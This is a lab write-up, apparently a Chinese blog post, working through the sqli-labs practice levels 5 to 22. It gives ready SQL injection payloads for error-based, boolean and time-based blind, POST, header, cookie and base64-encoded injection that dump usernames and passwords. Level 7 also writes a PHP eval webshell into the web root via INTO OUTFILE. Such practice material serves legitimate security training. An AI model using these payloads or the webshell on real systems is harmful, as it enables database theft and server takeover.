sql-labs 5-22关(基础关)

sql-lab 第五关

这关是报错注入类型,也可以用盲注

1、判断注入类型,判断闭合方式

1
有回显
1 and 1=1
有回显
1 and 1=2 
有回显
1' and 1=2
报错

image-20230718204716315

猜测闭合为单引号,加上注释符

?id=1' and 1=1--+ 
有回显
?id=1' and 1=2--+
无回显

image-20230718204840319

判断闭合方式为 1’ --+

查看源码, 发现如果sql语句正确,查到数据,会显示“You are in…”,如果错误,显示报错信息,这就给了报错注入,回显带着数据库有用的报错信息利用。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	echo '<font size="3" color="#FFFF00">';
	print_r(mysqli_error($con1));
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	}

image-20230718205705568

2、利用order by或union select猜测字段数

?id=-1' union select 1,2,3--+ 

image-20230718210812149

3、拼接sql语句查询数据库名称

因此正常的注入不行,这时采用报错注入的函数updatexml()

语法:
updatexml(目的xml内容,xml文档路径,更新内容)
是更新xml文档的函数

updatexml(1,concat(0x7e,(select datebase()),0x7e),1)
前面的1和后面的1不用管,关键时中间的语句,concat(0x7e,(select datebase()),0x7e) 
xml文档路径被填为子函数,输入特殊字符,不符号输入规则,导致报错,但是报错的时候执行了子函数查询代码,所以报错出现时会把查询的结果显示出来
0x7e是十六进制,是特殊字符  ~,不符合路径规则,报错
?id=-1' union select  (updatexml(1,concat(0x7e,(select database()),0x7e),1))  --+ 
#另一种报错注入玩法
?id=1' and extractvalue(1,concat(0x7e,(database()),0x7e))--+

image-20230718213226339

回显显示路径错误。

有些报错会有长度限制,因此需要使用limit 0,1 ,不用concat()

4、查询数据库中所有表的名称

?id=-1' union select  (updatexml(1,concat(0x7e,(select  table_name from information_schema.tables where table_schema = database()  limit 0,1),0x7e),1))  --+

image-20230718214910821

原因是union前后的查询的列数不一致,因此改为and 进行报错,但是前面的判断需要为真,不然后面的不执行

?id=1 'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 3,1),0x7e),1)--+

image-20230718215248811

5、查询表中所有的字段

?id=1 'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security 'and table_name='users' limit 0,1),0x7e),1)--+

有问题???

?id=1 'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e),1)--+

image-20230718221343502

6、查询数据

?id=1 'and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+

image-20230718221614887

显示字段的数据

用group_concat(),只显示其中一部分,需要用limit 0 ,1 进行精选查询

?id=1 'and updatexml(1,concat(0x7e,(select username  from users limit 0 ,1) ,0x7e),1)--+

image-20230718221824019

sql-lab 第六关

1、判断注入类型,判断闭合方式

1
有回显
1'
有回显
1"
报错

image-20230718222225034

猜测可能是“闭合

?id=1" and 1=1 --+
有回显
?id=1" and 1=2 --+
无回显

闭合方式是 1”

查看源码: 采用“id”闭合,查询一条数据,回显You are in…

sql语句错误,显示报错信息

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3"  color= "#FFFF00">';
	print_r(mysqli_error($con1));
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}

image-20230718222602677

2、拼接sql语句查询数据库名称

?id=-1" union select  (updatexml(1,concat(0x7e,(select database()),0x7e),1))  --+ 

3、查询数据库中所有表的名称

?id=1 "and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1)--+

4、查询表中所有的字段

?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e),1)--+

image-20230804141316459

5、查询数据

?id=1 "and updatexml(1,concat(0x7e,(select username  from users limit 0 ,1) ,0x7e),1)--+

显示字段的数据

image-20230718222101766

sql-lab 第七关

1、判断注入类型,判断闭合方式

?id=1

image-20230804141508647

?id=1'

image-20230804141532745

根据报错的信息猜测闭合方式是((‘’))

?id=1'))  and 1=1--+
#正常回显
?id=1'))  and 1=2--+
#回显错误

2、利用order by或union select猜测字段数

?id=1')) order by 3--+
#正常回显
?id=1')) order by 4--+
#报错

image-20230804143639746

3、尝试报错注入,回显出没有updataxml的函数

?id=1'))  and updataxml(1,concat(0x7e,(select datanase()),0x7e),1) --+

image-20230804144125488

根据回显的提示,采用get请求和outfile函数将木马文件传输到服务器中

这里需要了解一下mysql的file系列函数进行敏感文件的读取和webshell的写入。常见的三个函数:

into dumpfile()
#对文件进行写入 但是会保留文件数据的格式,比如回车、空格等

into outfile()
#对文件进行写入  以文件数据最原始的形式写入

load_file()
#读取文件
union select 1,'<?php eval($_REQUEST[8])?>' into outfile 'c:/phpstudy/www/1.php'

需要设置secure_file_priv = ,可以指定任意目录

有设置等于某个路径,只能在这个指定路径下

=null时,则禁止导入导出功能

4、写入webshell

?id=1'))  union select 1,"<?php @eval($_POST['key']);?>" ,3 into outfile  "E://phpStudy//phpStudy//WWW//bachan//sqli-labs-php7-master//Less-7//1.php"--+

image-20230804152500030

image-20230804152516073

5、连接木马

image-20230804152209329

sql-lab 第八关

1、判断注入类型,判断闭合方式

?id=1' and 1=1--+
#有回显

?id=1' and 1=2--+
#无回显

image-20230804154213895

闭合方式为’’

注入类型为布尔盲注

2、利用order by或union select猜测字段数

union select  1,2,3#

3、对于盲注,了解几个关键函数

三个语句length()函数返回字符串的长度
substr()截取字符串(语法:SUBSTR(str,pos,len))  (字符串,位置,长度)
ascii()返回字符的asci码[将字符变为数字]

4、猜解数据库长度

?id=1' and (length(database())) =8 --+

image-20230804155512364

数据库长度为8 (可以采用二分法快速定位长度)

5、利用ASCII码猜解当前数据库名称:

?id=1' and (ascii(substr(database(),1,1))) =115 --+

image-20230804155854109

构造解释:取出数据库的第一个字符串,并且将其转化成ascii,在进行比较,判断第一个字符,重复八次,数据库名为security

6、测表数

用到count()函数,得到总共有4个表

?id=1' and (select  count(table_name) from information_schema.tables where table_schema =database()) =4 --+

image-20230804163426150

猜表长

?id=1' and (select  length(table_name) from information_schema.tables where table_schema =database() limit 0,1) =6 --+

image-20230804163547709

第一个表的长度为6位,用length()和limit 0,1函数进行确定第几个表的长度

猜表名

?id=1' and (ascii(substr((select  table_name from information_schema.tables where table_schema =database() limit 0,1 ),1,1))) <115 --+

image-20230804162705818

对查询到的第一个表名,取第一位字符,并且进行ascii转换,比较判断数据第一个字符的大小

第一个表名是emails,最后的一个表名是users

7、猜字段

同样的方法找到字段数、字段长、字段名

?id=1' and (select count(column_name) from information_schema.columns where table_name='emails')=2 --+
?id=1' and (select length(column_name) from information_schema.columns where table_name='emails' limit 0,1)=2 --+
?id=1' and substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)='i' --+

sql-lab 第九关

1、判断注入类型,判断闭合方式

?id=1
?id=1'
?id=1"

不管怎么输入,都是一样的界面 ,下面只写payload

判断是时间盲注

2、利用的原理

常见的两个函数:

sleep(n)将程序挂起一段时问n为n秒
if(epr1,expr2,expr3)判断语句如果第一个语句正确就执行第二个语句,如果错误执行第三个语句

?id=1' and sleep(5)--+

3、判断数据库长度

?id=1' and if(length(database())=8,sleep(2),1)--+

查询数据库名的字符,依次查询

?id=1' and if ((ascii(substr(database(),1,1))=115),sleep(5),1)--+
#注意括号

4、查询数据库的表数,


5、查询数据库中所有表名的字符

?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>123),sleep(2),1)--+

6、查询表中所有的字段的字符

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name ='users'   limit 0,1),1,1))<123),sleep(2),1)--+

7、查询数据,依次遍历一遍

?id=1' and if((ascii(substr((select username from users   limit 0,1),1,1))<123),sleep(2),1)--+

可以尝试写python脚本。

sql-lab 第十关

1、判断注入类型,判断闭合方式

?id=1" and sleep(2)--+

是双引号盲注类型

2、判断数据库名

判断数据库长度

?id=1" and if(length(database())=8,sleep(1),1)--+

数据库第一个字符

?id=1" and if((ascii(   substr(  database(),1,1 )    )>96),sleep(1),1)--+

数据库的表数

?id=1" and if((ascii(   substr(   (select  count(table_name)  from information_schema.tables where table_schema=database()  )   ,1,1 )    )>1),sleep(1),1)--+

数据库的第一个表长

?id=1" and if((ascii(   substr(   (select  length(table_name)  from information_schema.tables where table_schema=database()  limit 0,1 )   ,1,1 )    )>1),sleep(1),1)--+

取第一个表的字符

?id=1" and if((ascii(   substr(   (select  table_name  from information_schema.tables where table_schema=database()  limit 0,1 )   ,1,1 )    )>96),sleep(1),1)--+

3、取表的子段数

?id=1" and if((ascii(   substr(   (select  count(column_name)  from information_schema.columns where table_schema=database() and table_name='users'  limit 0,1 )   ,1,1 )    )>1),sleep(4),1)--+

4、表的字段长度

?id=1" and if((ascii(   substr(   (select  length(column_name)  from information_schema.columns where table_schema=database() and table_name='users'  limit 0,1 )   ,1,1 )    )>1),sleep(4),1)--+

5、查询表的第一个字段的字符

?id=1" and if((ascii(   substr(   (select  column_name  from information_schema.columns where table_schema=database() and table_name='users'  limit 0,1 )   ,1,1 )    )>96),sleep(1),1)--+

sql-lab 第十一关

1、判断注入类型,判断闭合方式

uname=admin' and 1=1# &passwd=123&submit=Submit
#登录成功
uname=admin' and 1=2# &passwd=123&submit=Submit
#登录失败

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w4c6YqNr-1691481252773)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20230807171408646.png)]

image-20230807171311753

POST注入,字符型,单引号闭合

2、利用order by或union select猜测字段数

admin' order by 2# 

image-20230807171646277

3、利用union select 判断回显位子,原理同上

-1' union select 1,2# :

image-20230807172358927

4、查询数据库中所有表的名称

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 

image-20230807172915604

6、查询表中所有的字段

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() 
and table_name='users'# 

image-20230807173243406

7、查询数据

-1' union select group_concat(password),group_concat(username) from users # 

image-20230807173347745

sql-lab 第十二关

1、判断注入类型,判断闭合方式

1")  or 1=1#
#登录成功
1")  or  1=2#
登录失败

image-20230807174425170

余下同上

查询数据

-1") union select group_concat(password),group_concat(username) from users # 

image-20230807173606217

sql-lab 第十三关

1、判断注入类型,判断闭合方式

1') or 1=1#

image-20230807175752473

1') or 1=2#

image-20230807175811344

是字符型注入,闭合方式是(‘’)

查询无回显,但是有报错信息,采用报错注入的方式

uname=1') or updatexml(1,concat(0x7e,( select database()),0x7e),1) #

image-20230807180601577

余下同第五关一样

查询数据

uname=1') or updatexml(1,concat(0x7e,( select username from users limit 1,1),0x7e),1) #

image-20230807183338691

sql-lab 第十四关

1、判断注入类型,判断闭合方式

1" or 1=1#
登录成功
1" or 1=2#
登录失败

判断是字符型,并且无回显,有错误信息

采用报错注入

uname=1" or updatexml(1,concat(0x7e,( select database()),0x7e),1) #

image-20230807183732636

7、查询数据

uname=1" or updatexml(1,concat(0x7e,( select username from users limit 1,1),0x7e),1) #

image-20230807183448565

sql-lab 第十五关

尝试注入,没有任何信息回显。可以判断登录正确和失败

采用布尔盲注

uname=1' or 1=1#
登录成功
uname=1' or 1=2#
登录失败

image-20230807184543774

剩下同上第九关步骤

sql-lab 第十六关

采用bool盲注方式

uname=1") or 1=1#

闭合方式改为")

其余同第九关一样

sql-lab 第十七关

尝试寻找注入点,失败,根据提示,重置密码

image-20230807185001990

登录账号

admin
admin

发现重置密码界面

image-20230807185159910

猜测重置密码的sql语句:

update 表名 set xxx=yyy where name=$name

靶场的sql语句:

image-20230807185603293

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

注意这里sql语句进行了判断,先查询有没有这个用户,再更新数据

并且注意,注入点在password上

&passwd=12' or 1=1--+

image-20230807190303740

有错误信息回显

采用报错注入

&passwd=12' or updatexml(1,concat(0x7e,(select database()),0x7e),1)#

image-20230807190640196

下面步骤和第五关一样

12' or updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)#

image-20230807191342054

前面的一致,在最后查询数据时,会报错。如上图所示。

原因:不能先select出同一表中的某些值,再update这个表(在同一语句中),即update的目标表不能在其直接子查询存在,目标表在子查询中的任何位置都会报错

可以采用嵌套子查询的方式避免直接查询。

admin' and updatexml(1,concat(0x7e,(select username from (select username from users limit 0,1)test),0x7e),1) #

image-20230807191312452

sql-lab 第十八关

开始界面

image-20230807191949258

登录查看回显

image-20230807192030846

猜测是UA注入

查看题目源码

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

image-20230807192334589

抓包然后再数据包的UA头部进行注入

修改user-Agent报文头信息:

image-20230808142756706

有报错信息回显

image-20230808142919470

' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
#上面的是错误的
#下面是对的 ,需要关注语句里面的需要传入几个参数,进行闭合并且注意)闭合 
#并且--+在post里面不能被当作注释的
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1)#

image-20230808144252674

变化payload一样效果

1',2,updatexml(1,concat(0x7e,(select database()),0x7e),1))#

image-20230808144507522

剩下的同上第五关

1',2,updatexml(1,concat(0x7e,(select username  from users limit 0 ,1) ,0x7e),1))#

image-20230808144715233

sql-lab 第十九关

登录查看,发现记录referer,referer是记录重哪个页面访问到本页面的

image-20230808144854897

抓包,然后修改referer字段

1' ,1,updatexml(1,concat(0x7e,(database()),0x7e),1))#

image-20230808145414820

payload同18关一样

 1',2,updatexml(1,concat(0x7e,(select username  from users limit 0 ,1) ,0x7e),1))#

image-20230808145521069

sql-lab 第二十关

登录界面

image-20230808145703861

看见显示许多信息,尝试在cookie上进行注入

是插入语句

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select database()) ,0x7e),1)# 

image-20230808150019965

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select username  from users limit 0 ,1) ,0x7e),1)# 

image-20230808145932528

删除cookie的语句没写出来

sql-lab 第二十一关

登录界面和前面20关一样

image-20230808151045797

抓包,发现cookie采用base64编码方式和url编码

image-20230808151223735

image-20230808151407773

构造payload,进行base64编码

payload:
admin') and updatexml(1,concat(0x7e,(database()),0x7e),1)#

base64转换和url编码:
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKGRhdGFiYXNlKCkpLDB4N2UpLDEpIw%3d%3d

image-20230808152015209

还可以用union联合注入

payload:
') union select 1,2,3#

base64转换和url编码:
JykgdW5pb24gc2VsZWN0IDEsMiwzIw%3d%3d

image-20230808152241218

sql-lab 第二十二关

和21关一样,只是闭合方式改变了为双引号

payload:
" union select 1,2,3#

base64转换和url编码:
IiB1bmlvbiBzZWxlY3QgMSwyLDMj

image-20230808153441310

payload:
" union select username ,password,1 from users limit 0,1#

base64转换和url编码:
IiB1bmlvbiBzZWxlY3QgdXNlcm5hbWUgLHBhc3N3b3JkLDEgZnJvbSB1c2VycyBsaW1pdCAwLDEj

image-20230808154018443

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值